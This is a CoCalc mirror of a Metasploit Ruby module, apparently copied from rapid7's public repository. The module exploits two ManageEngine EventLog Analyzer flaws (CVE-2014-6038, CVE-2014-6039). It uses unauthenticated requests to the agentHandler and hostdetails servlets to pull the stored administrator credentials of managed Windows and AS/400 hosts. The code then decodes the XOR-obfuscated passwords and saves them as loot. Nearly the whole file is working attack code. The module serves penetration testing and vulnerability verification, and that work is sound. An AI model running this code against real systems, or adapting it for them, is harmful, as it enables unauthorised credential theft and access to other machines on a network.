Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/auxiliary/gather/eventlog_cred_disclosure.rb
19500 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
require 'rexml/document'
7
8
class MetasploitModule < Msf::Auxiliary
9
include Msf::Exploit::Remote::HttpClient
10
include Msf::Auxiliary::Report
11
12
def initialize(info = {})
13
super(
14
update_info(
15
info,
16
'Name' => 'ManageEngine Eventlog Analyzer Managed Hosts Administrator Credential Disclosure',
17
'Description' => %q{
18
ManageEngine Eventlog Analyzer from v7 to v9.9 b9002 has two security vulnerabilities that
19
allow an unauthenticated user to obtain the superuser password of any managed Windows and
20
AS/400 hosts. This module abuses both vulnerabilities to collect all the available
21
usernames and passwords. First the agentHandler servlet is abused to get the hostid and
22
slid of each device (CVE-2014-6038); then these numeric IDs are used to extract usernames
23
and passwords by abusing the hostdetails servlet (CVE-2014-6039). Note that on version 7,
24
the TARGETURI has to be prepended with /event.
25
},
26
'Author' => [
27
'Pedro Ribeiro <pedrib[at]gmail.com>' # Vulnerability discovery and MSF module
28
],
29
'License' => MSF_LICENSE,
30
'References' => [
31
[ 'CVE', '2014-6038' ],
32
[ 'CVE', '2014-6039' ],
33
[ 'OSVDB', '114342' ],
34
[ 'OSVDB', '114344' ],
35
[ 'URL', 'https://seclists.org/fulldisclosure/2014/Nov/12' ]
36
],
37
'DisclosureDate' => '2014-11-05',
38
'Notes' => {
39
'Reliability' => UNKNOWN_RELIABILITY,
40
'Stability' => UNKNOWN_STABILITY,
41
'SideEffects' => UNKNOWN_SIDE_EFFECTS
42
}
43
)
44
)
45
46
register_options(
47
[
48
Opt::RPORT(8400),
49
OptString.new('TARGETURI', [ true, 'Eventlog Analyzer application URI (should be /event for version 7)', '/']),
50
]
51
)
52
end
53
54
def decode_password(encoded_password)
55
password_xor = Rex::Text.decode_base64(encoded_password)
56
password = ''
57
password_xor.bytes.each do |byte|
58
password << (byte ^ 0x30)
59
end
60
return password
61
end
62
63
def run
64
res = send_request_cgi({
65
'uri' => normalize_uri(target_uri.path, 'agentHandler'),
66
'method' => 'GET',
67
'vars_get' => {
68
'mode' => 'getTableData',
69
'table' => 'HostDetails'
70
}
71
})
72
73
unless res && res.code == 200
74
fail_with(Failure::NotFound, "#{peer} - Failed to reach agentHandler servlet")
75
return
76
end
77
78
# When passwords have digits the XML parsing will fail.
79
# Replace with an empty password attribute so that we know the device has a password
80
# and therefore we want to add it to our host list.
81
xml = res.body.to_s.gsub(/&#[0-9]*;/, Rex::Text.rand_text_alpha(6))
82
begin
83
doc = REXML::Document.new(xml)
84
rescue
85
fail_with(Failure::Unknown, "#{peer} - Error parsing the XML, dumping output #{xml}")
86
end
87
88
slid_host_ary = []
89
doc.elements.each('Details/HostDetails') do |ele|
90
if ele.attributes['password']
91
# If an element doesn't have a password, then we don't care about it.
92
# Otherwise store the slid and host_id to use later.
93
slid_host_ary << [ele.attributes['slid'], ele.attributes['host_id']]
94
end
95
end
96
97
cred_table = Rex::Text::Table.new(
98
'Header' => 'ManageEngine EventLog Analyzer Managed Devices Credentials',
99
'Indent' => 1,
100
'Columns' =>
101
[
102
'Host',
103
'Type',
104
'SubType',
105
'Domain',
106
'Username',
107
'Password',
108
]
109
)
110
111
slid_host_ary.each do |host|
112
res = send_request_cgi({
113
'uri' => normalize_uri(target_uri.path, 'hostdetails'),
114
'method' => 'GET',
115
'vars_get' => {
116
'slid' => host[0],
117
'hostid' => host[1]
118
}
119
})
120
121
unless res && res.code == 200
122
fail_with(Failure::NotFound, "#{peer} - Failed to reach hostdetails servlet")
123
end
124
125
begin
126
doc = REXML::Document.new(res.body)
127
rescue
128
fail_with(Failure::Unknown, "#{peer} - Error parsing the XML, dumping output #{res.body.to_s}")
129
end
130
131
doc.elements.each('Details/Hosts') do |ele|
132
# Add an empty string if a variable doesn't exist, we have to check it
133
# somewhere and it's easier to do it here.
134
host_ipaddress = ele.attributes['host_ipaddress'] || ''
135
136
ele.elements.each('HostDetails') do |details|
137
domain_name = details.attributes['domain_name'] || ''
138
username = details.attributes['username'] || ''
139
password_encoded = details.attributes['password'] || ''
140
password = decode_password(password_encoded)
141
type = details.attributes['type'] || ''
142
subtype = details.attributes['subtype'] || ''
143
144
unless type =~ /Windows/ || subtype =~ /Windows/
145
# With AS/400 we get some garbage in the domain name even though it doesn't exist
146
domain_name = ""
147
end
148
149
msg = "Got login to #{host_ipaddress} | running "
150
msg << type << (subtype != '' ? " | #{subtype}" : '')
151
msg << ' | username: '
152
msg << (domain_name != '' ? "#{domain_name}\\#{username}" : username)
153
msg << " | password: #{password}"
154
print_good(msg)
155
156
cred_table << [host_ipaddress, type, subtype, domain_name, username, password]
157
158
if type == 'Windows'
159
service_name = 'epmap'
160
port = 135
161
elsif type == 'IBM AS/400'
162
service_name = 'as-servermap'
163
port = 449
164
else
165
next
166
end
167
168
credential_core = report_credential_core({
169
password: password,
170
username: username,
171
})
172
173
host_login_data = {
174
address: host_ipaddress,
175
service_name: service_name,
176
workspace_id: myworkspace_id,
177
protocol: 'tcp',
178
port: port,
179
core: credential_core,
180
status: Metasploit::Model::Login::Status::UNTRIED
181
}
182
create_credential_login(host_login_data)
183
end
184
end
185
end
186
187
print_line
188
print_line("#{cred_table}")
189
loot_name = 'manageengine.eventlog.managed_hosts.creds'
190
loot_type = 'text/csv'
191
loot_filename = 'manageengine_eventlog_managed_hosts_creds.csv'
192
loot_desc = 'ManageEngine Eventlog Analyzer Managed Hosts Administrator Credentials'
193
p = store_loot(
194
loot_name,
195
loot_type,
196
rhost,
197
cred_table.to_csv,
198
loot_filename,
199
loot_desc
200
)
201
print_status "Credentials saved in: #{p}"
202
end
203
204
def report_credential_core(cred_opts = {})
205
# Set up the has for our Origin service
206
origin_service_data = {
207
address: rhost,
208
port: rport,
209
service_name: (ssl ? 'https' : 'http'),
210
protocol: 'tcp',
211
workspace_id: myworkspace_id
212
}
213
214
credential_data = {
215
origin_type: :service,
216
module_fullname: self.fullname,
217
private_type: :password,
218
private_data: cred_opts[:password],
219
username: cred_opts[:username]
220
}
221
222
credential_data.merge!(origin_service_data)
223
create_credential(credential_data)
224
end
225
end
226
227